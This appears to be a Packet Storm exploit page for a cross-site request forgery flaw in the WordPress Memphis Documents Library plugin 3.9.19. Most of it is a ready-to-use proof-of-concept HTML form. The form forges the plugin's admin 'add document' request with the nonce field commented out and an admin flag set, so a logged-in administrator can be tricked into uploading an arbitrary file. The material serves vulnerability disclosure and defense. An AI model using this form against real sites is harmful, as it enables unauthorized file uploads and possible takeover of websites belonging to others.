exploit the possibilities

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery
Posted May 22, 2019
Authored by Mr Winst0n

WordPress Memphis Documents Library plugin version 3.9.19 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 8eb5cfcb4bd543d3bca72edeb4ef69ea

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: WordPress Plugin Memphis Documents Library 3.9.19 - Cross Site Request Forgery (Arbitrary File Add)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: May 22, 2019
# Software Link : https://wordpress.org/plugins/memphis-documents-library/
# Tested Version: 3.9.19
# Tested on: Parrot OS, Wordpress 5.1.1


# PoC:

<form class="form-horizontal" enctype="multipart/form-data" action="http://localhost/[PATH]/wp-admin/admin.php?page=memphis-documents.php&mdocs-cat=&mdocs-cat=mdocuments" method="POST" id="mdocs-add-update-form">
<input type="hidden" name="mdocs-current-user" value="phpmyadmin">
<input type="hidden" name="mdocs-type" value="mdocs-add">
<input type="hidden" name="mdocs-index" value="">
<input type="hidden" name="mdocs-cat" value="">
<input type="hidden" name="mdocs-pname" value="">
<!--<input type="hidden" name="mdocs-nonce" value="" />-->
<input type="hidden" name="mdocs-post-status-sys" value="">
<input type="hidden" name="mdocs-permalink" value="admin.php?page=memphis-documents.php&mdocs-cat=">
<input type="hidden" name="mdocs-is-admin" value="1">
<div class="well well-lg">
<div class="page-header">
<h2>File Properties</h2>
</div>
<div class="form-group form-group-lg has-success">
<label class="col-sm-2 control-label" for="mdocs-name">Name</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-name" id="mdocs-name">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs">File Uploader</label>
<div class="col-sm-10">
<input class="form-control" type="file" name="mdocs">
<p class="help-block" id="mdocs-current-doc"></p>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-folder">Folder</label>
<div class="col-sm-10">
<select class="form-control" name="mdocs-cat">
<option value="mdocuments" selected="selected">Documents</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-version">Version</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-version" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-date">Date</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-last-modified" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-file status">File Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-file-status" id="mdocs-file-status">
<option value="public">Public - [ Everyone can view this file ]</option>
<option value="hidden">Private - [ Only you can view this file ]</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-post status">Post Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-post-status" id="mdocs-post-status">
<option value="publish">Published</option>
<option value="private">Private</option>
<option value="pending">Pending Review</option>
<option value="draft">Draft</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-show social apps">Show Social Apps</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-social" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-downloadable by non members">Downloadable By Non Members</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-non-members" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-contributors">Contributors</label>
<div class="col-sm-10">
<div class="mdocs-add-contributor-container" data-contributor-type="add-update">
<div class="mdocs-contributors-container">
<button type="button" class="btn btn-primary" id="mdocs-current-owner"><i class="fa fa-user" aria-hidden="true"></i> phpmyadmin</button>
<input type="hidden" value="phpmyadmin" id="mdocs-owner-value"></div>
<input autocomplete="off" class="form-control mdocs-add-contributors" type="text" name="mdocs-add-contributors" placeholder="Add contributor, users and roles types are allowed.">
<div class="mdocs-user-search-list hidden"></div>
</div>
</div>
</div>
<input type="hidden" name="mdocs-real-author" value="">
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-tags">Tags</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-tags" id="mdocs-tags" placeholder="Comma Separated List">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-categories">Categories</label>
<div class="col-sm-10">
<select multiple="" class="form-control" name="mdocs-categories[]" id="mdocs-post-categories">
<option value="Uncategorized">Uncategorized</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-description">Description</label>
<div class="col-sm-10">
<div id="wp-mdocs-desc-wrap" class="wp-core-ui wp-editor-wrap tmce-active"><link rel="stylesheet" id="dashicons-css" href="http://localhost/lab/wordpress/wp-includes/css/dashicons.min.css?ver=5.1.1" type="text/css" media="all">
<link rel="stylesheet" id="editor-buttons-css" href="http://localhost/lab/wordpress/wp-includes/css/editor.min.css?ver=5.1.1" type="text/css" media="all">
<style>display: none;</style>
<div id="wp-mdocs-desc-editor-tools" class="wp-editor-tools hide-if-no-js"><div class="wp-editor-tabs"><button type="button" id="mdocs-desc-tmce" class="wp-switch-editor switch-tmce" data-wp-editor-id="mdocs-desc">Visual</button>
<button type="button" id="mdocs-desc-html" class="wp-switch-editor switch-html" data-wp-editor-id="mdocs-desc">Text</button>
</div>
</div>

</div>
</div>
</div>
<input type="submit" class="btn btn-primary" id="mdocs-save-doc-btn" value="Add Document">
</form>
Login or Register to add favorites

File Archive:

June 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    10 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    15 Files
  • 4
    Jun 4th
    25 Files
  • 5
    Jun 5th
    8 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close